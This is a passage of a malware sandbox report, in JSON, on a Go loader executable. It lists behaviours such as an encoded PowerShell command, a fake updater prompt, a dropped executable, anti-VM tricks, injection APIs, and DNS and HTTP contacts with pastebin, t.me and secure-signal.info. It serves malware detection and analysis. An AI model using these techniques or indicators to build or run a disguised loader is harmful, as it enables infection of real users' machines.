\"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at FF930000\n \"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 03140000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 31990000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"Loader.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3FE70000\n \"Loader.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3EFB0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3FE70000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3EFB0000\n \"806964ff31e2acc80.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3FE70000\n \"806964ff31e2acc80.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3EFB0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 00EF0000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 04700000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"Loader.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 41FF0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 41FF0000\n \"806964ff31e2acc80.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 41FF0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"$41","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Loader.exe\" was detected as \"Go\" and name: \"Compiler\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$42","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Loader.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"Loader.exe\" has an writable section named \".data\"\n \"Loader.exe\" has an writable section named \".idata\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"Loader.exe\" file has an entrypoint instructions - \"jmp\t0x1400780c0,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\trbp,mov\trbp, rsp,pushfq\t,cld\t,sub\trsp, 0xe0,mov\tqword ptr [rsp], rdi,mov\tqword ptr [rsp + 8], rsi,mov\tqword ptr [rsp + 0x10], rbp,mov\tqword ptr [rsp + 0x18], rbx,mov\tqword ptr [rsp + 0x20], r12,mov\tqword ptr [rsp + 0x28], r13,mov\tqword ptr [rsp + 0x30], r14,mov\tqword ptr [rsp + 0x38], r15,movups\txmmword ptr [rsp + 0x40], xmm6,movups\txmmword ptr [rsp + 0x50], xmm7,movups\txmmword ptr [rsp + 0x60], xmm8,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x282400\" greater than 0x100000\n Raw size of \".rdata\" is \"0x2af000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x282351\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x2aefd0\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"Loader.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Possibly references Golang binary related string","description":"\"Go build ID: \"q8aWn2D9ZYH83r7e2LtM/TC8N0F4eYJGjYgJxASNk/oFfNpcqaEZ9voMffFYVM/NF7HdrwaIIpr5HLbfosh\"\" (Indicator: \"Go build ID: \"q8aWn2D9ZYH83r7e2LtM/TC8N0F4eYJGjYgJxASNk/oFfNpcqaEZ9voMffFYVM/NF7HdrwaIIpr5HLbfosh\")\" in Source: Loader.exe","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-74","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" [Source: 00000000-00007632-00000BC0-3482707531]\n Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00007632-00000BC0-3485240208]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00007632-00000BC0-3485244418]\n Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAH\" [Source: 00000000-00004092-00000C47-38893328774]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"powershell.exe\" (UID: 00000000-00007308) was launched with new environment variables: \"USERDNSDOMAIN=\"gbyAmB0ArrrIN1i\"\"\n Process \"powershell.exe\" (UID: 00000000-00007308) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"\n Process \"powershell.exe\" (UID: 00000000-00005928) was launched with modified environment variables: \"PSModulePath, PATHEXT\"\n Process \"msedge.exe\" (UID: 00000000-00008796) was launched with modified environment variables: \"PSModulePath, PATHEXT\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"gitlab.com\"\n \"pastebin.com\"\n \"secure-signal.info\"\n \"t.me\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$43","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$45","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$46","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 497769)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$47","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_4lqkqt5a.fit.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_21vk4fqg.lkr.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_u0bkqot5.d0a.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vxuej3kp.l0o.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_vj3bc0ev.3ec.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qp1gjrnj.cz3.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_b4sz3hhm.jbz.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_dd1k4ukg.kmw.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"Found string \"shdocvw = s 'IAttachmentExecute'\" (Source: \"00000000-00004092.00000001.292655.31959000.00000002.mdmp\")\n Found string \"ystem.IsAttachment\" (Source: \"00000000-00004092.00000001.292655.7BCB0000.00000002.mdmp\")\n Found string \"ystem.Message.AttachmentContents\" (Source: \"00000000-00004092.00000001.292655.7BCB0000.00000002.mdmp\")\n Found string \"ystem.Message.AttachmentNames\" (Source: \"00000000-00004092.00000001.292655.7BCB0000.00000002.mdmp\")\n Found string \"ystem.Message.HasAttachments\" (Source: \"00000000-00004092.00000001.292655.7BCB0000.00000002.mdmp\")\n Found string \"System.IsAttachment\" (Source: \"00000000-00004092.00000001.292655.7BD00000.00000002.mdmp\")\n Found string \"System.Message.AttachmentContents\" (Source: \"00000000-00004092.00000001.292655.7BD00000.00000002.mdmp\")\n Found string \"System.Message.AttachmentNames\" (Source: \"00000000-00004092.00000001.292655.7BD00000.00000002.mdmp\")\n Found string \"System.Message.HasAttachments\" (Source: \"00000000-00004092.00000001.292655.7BD00000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"Found string \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')\" (Indicator: \"Add-Type\"; File: \"AMSI\")\n Found string \"powershell -Command \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')\"\" (Indicator: \"Add-Type\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"Loader.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"LoadLibrary\"; File: \"Loader.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"Loader.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"806964ff31e2acc80.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates/modifies Windows services using PowerShell","description":"Process \"powershell.exe\" with commandline \"powershell -Command \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')\"\" (UID: 00000000-00007308)","origin":"Monitored Target","mitre_attack_id":"T1543.003","relevance":3,"id":"target-478","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$48","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"Loader.exe\" queries basic process information of the \"C:\\Loader.exe\" (UID: 7632)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"powershell.exe\" reads file \"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config\"\n \"powershell.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll.aux\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\microsoft.pb378ec07#\\86af2f4f2745738837c95f24472c32ca\\microsoft.powershell.consolehost.ni.dll.aux\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\ce0fd4f5b50baa17e7b80e4ee874ad11\\system.ni.dll.aux\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\990501e6199819806f01c8ecac88baac\\system.core.ni.dll.aux\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.manaa57fc8cc#\\ea893d7e336a196c927c3f1251a1d1a9\\system.management.automation.ni.dll.aux\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$4b","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Loader.exe\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\apppatch\\MergeSdbFilesSource\\sysMerge.sdb\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"Loader.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"Loader.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"Loader.exe\" trying to touch file \"C:\\CRYPTSP.DLL\"\n \"Loader.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\CRYPTSP.DLL\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"\n \"Loader.exe\" trying to touch file \"\\Global??\\FltMgrMsg\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"Loader.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\806964ff31e2acc80.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"file/memory contains long string with (Indicator: \"getcomputernameexw\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00004092.00000001.292655.A51F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"SetsockoptLinger\" (Indicator: \"setsockopt\"; File: \"Loader.exe\")\n Found reference to API \"SetsockoptInet4Addr\" (Indicator: \"setsockopt\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"setsockopt\"; File: \"Loader.exe\")\n Found reference to API \"syscall.Setsockopt\" (Indicator: \"setsockopt\"; File: \"Loader.exe\")\n Found reference to API \"syscall.SetsockoptInt\" (Indicator: \"setsockopt\"; File: \"Loader.exe\")\n Found reference to API \"internal/poll.(*FD).SetsockoptInt\" (Indicator: \"setsockopt\"; File: \"Loader.exe\")\n Found reference to API \"internal/poll.(*FD).SetsockoptInt.deferwrap1\" (Indicator: \"setsockopt\"; File: \"Loader.exe\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00007632-00000C2C-3487776238\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /awesome_mine\"\n Found http requests in header \"POST /\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"file/memory contains long string with (Indicator: \"WSASend\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"WSAStartup\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"WSARecv\"; File: \"Loader.exe\")\n Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; File: \"Loader.exe\")\n Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; File: \"Loader.exe\")\n Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"file/memory contains long string with (Indicator: \"WSASend\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"WSAStartup\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"WSARecv\"; File: \"Loader.exe\")\n Found reference to API \"syscall.WSARecv\" (Indicator: \"WSARecv\"; File: \"Loader.exe\")\n Found reference to API \"syscall.WSASend\" (Indicator: \"WSASend\"; File: \"Loader.exe\")\n Found reference to API \"syscall.WSAStartup\" (Indicator: \"WSAStartup\"; File: \"Loader.exe\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00007632-00000C2C-3485147765\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00007632-00000C2C-3487820055\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00007632-00000C2C-3487820362\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"Loader.exe\")\n file/memory contains long string with (Indicator: \"CreateNamedPipe\"; File: \"Loader.exe\")\n Found reference to API \"syscall.CreatePipe\" (Indicator: \"CreatePipe\"; File: \"Loader.exe\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: 